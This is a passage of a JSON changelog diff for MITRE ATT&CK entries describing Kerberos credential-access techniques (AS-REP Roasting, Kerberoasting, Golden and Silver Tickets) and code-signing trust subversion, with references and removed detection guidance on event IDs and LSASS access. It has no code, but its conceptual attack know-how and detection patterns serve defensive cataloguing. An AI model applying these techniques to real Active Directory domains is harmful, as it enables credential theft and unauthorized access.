17:48:39.884000+00:00", + "name": "AS-REP Roasting", + "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1558/004", + "external_id": "T1558.004" + }, + { + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" + }, + { + "source_name": "Harmj0y Roasting AS-REPs Jan 2017", + "description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/activedirectory/roasting-as-reps/" + }, + { + "source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019", + "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.", + "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/" + }, + { + "source_name": "SANS Attacking Kerberos Nov 2014", + "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.", + "url": "https://redsiege.com/kerberoast-slides" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + }, + { + "source_name": "Microsoft 4768 TGT 2017", + "description": "Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768" + }, + { + "source_name": "Microsoft Kerberos Preauth 2014", + "description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.", + "url": "https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yossi Nisani, Cymptom", + "James Dunn, @jamdunnDFW, EY", + "Swapnil Kumbhar", + "Jacques Pluviose, @Jacqueswildy_IT", + "Dan Nutting, @KerberToast" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Credential Request\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.884000+00:00\", \"old_value\": \"2025-04-15 19:58:23.309000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1041: Encrypt Sensitive Information", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0026: Active Directory (Active Directory Credential Request)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0113: Detect AS-REP Roasting Attempts (T1558.004)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:13:33.643000+00:00", + "modified": "2025-10-24 17:48:58.155000+00:00", + "name": "Golden Ticket", + "description": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1558/001", + "external_id": "T1558.001" + }, + { + "source_name": "AdSecurity Kerberos GT Aug 2015", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "url": "https://adsecurity.org/?p=1640" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + }, + { + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?p=1515" + }, + { + "source_name": "ADSecurity Kerberos and KRBTGT", + "description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory\u2019s Domain Kerberos Service Account. Retrieved January 30, 2020.", + "url": "https://adsecurity.org/?p=483" + }, + { + "source_name": "Stealthbits Detect PtT 2019", + "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.", + "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks" + }, + { + "source_name": "Microsoft Kerberos Golden Ticket", + "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.", + "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Itamar Mizrahi, Cymptom" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Credential Request\", \"Logon Session: Logon Session Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.155000+00:00\", \"old_value\": \"2025-04-25 14:47:07.443000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\\n\\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n\\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \\n\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\\n-\\n-Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n-\\n-Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0026: Active Directory (Active Directory Credential Request)", + "DS0028: Logon Session (Logon Session Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0144: Detect Forged Kerberos Golden Tickets (T1558.001)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:43:38.588000+00:00", + "modified": "2025-10-24 17:49:36.038000+00:00", + "name": "Kerberoasting", + "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1558/003", + "external_id": "T1558.003" + }, + { + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" + }, + { + "source_name": "Empire InvokeKerberoast Oct 2016", + "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.", + "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1" + }, + { + "source_name": "SANS Attacking Kerberos Nov 2014", + "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.", + "url": "https://redsiege.com/kerberoast-slides" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + }, + { + "source_name": "Microsoft SetSPN", + "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.", + "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx" + }, + { + "source_name": "Microsoft SPN", + "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.", + "url": "https://msdn.microsoft.com/library/ms677949.aspx" + }, + { + "source_name": "Harmj0y Kerberoast Nov 2016", + "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Credential Request\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.038000+00:00\", \"old_value\": \"2025-04-15 19:59:20.912000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0026: Active Directory (Active Directory Credential Request)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0157: Detect Kerberoasting Attempts (T1558.003)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:14:48.309000+00:00", + "modified": "2025-10-24 17:49:26.177000+00:00", + "name": "Silver Ticket", + "description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1558/002", + "external_id": "T1558.002" + }, + { + "source_name": "ADSecurity Silver Tickets", + "description": "Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.", + "url": "https://adsecurity.org/?p=2011" + }, + { + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?p=1515" + }, + { + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.177000+00:00\", \"old_value\": \"2025-04-25 14:48:09.547000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \\n\\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \\n-\\n-Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0028: Logon Session (Logon Session Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0241: Detect Forged Kerberos Silver Tickets (T1558.002)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-05 14:54:07.588000+00:00", + "modified": "2025-10-24 17:49:16.766000+00:00", + "name": "Subvert Trust Controls", + "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1553", + "external_id": "T1553" + }, + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + }, + { + "source_name": "SpectorOps Subverting Trust Sept 2017", + "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", + "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf" + }, + { + "source_name": "Securelist Digital Certificates", + "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", + "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/" + }, + { + "source_name": "Symantec Digital Certificates", + "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", + "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Windows Registry: Windows Registry Key Creation\", \"File: File Metadata\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.766000+00:00\", \"old_value\": \"2025-04-15 19:59:00.906000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\\n\\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\\"Hide Microsoft Entries\\\" and \\\"Hide Windows Entries\\\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \\n\\nMonitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\\n-\\n-Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\\"Hide Microsoft Entries\\\" and \\\"Hide Windows Entries\\\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \\n-\\n-Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. \"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1024: Restrict Registry Permissions", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1038: Execution Prevention", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0452: Detect Subversion of Trust Controls via Certificate, Registry, and Attribute Manipulation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-05 16:27:37.784000+00:00", + "modified": "2025-10-24 17:48:37.098000+00:00", + "name": "Code Signing", + "description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1553/002", + "external_id": "T1553.002" + }, + { + "source_name": "EclecticLightChecksonEXECodeSigning", + "description": "Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.", + "url": "https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/" + }, + { + "source_name": "Securelist Digital Certificates", + "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", + "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/" + }, + { + "source_name": "Symantec Digital Certificates", + "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", + "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates" + }, + { + "source_name": "Wikipedia Code Signing", + "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", + "url": "https://en.wikipedia.org/wiki/Code_signing" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" 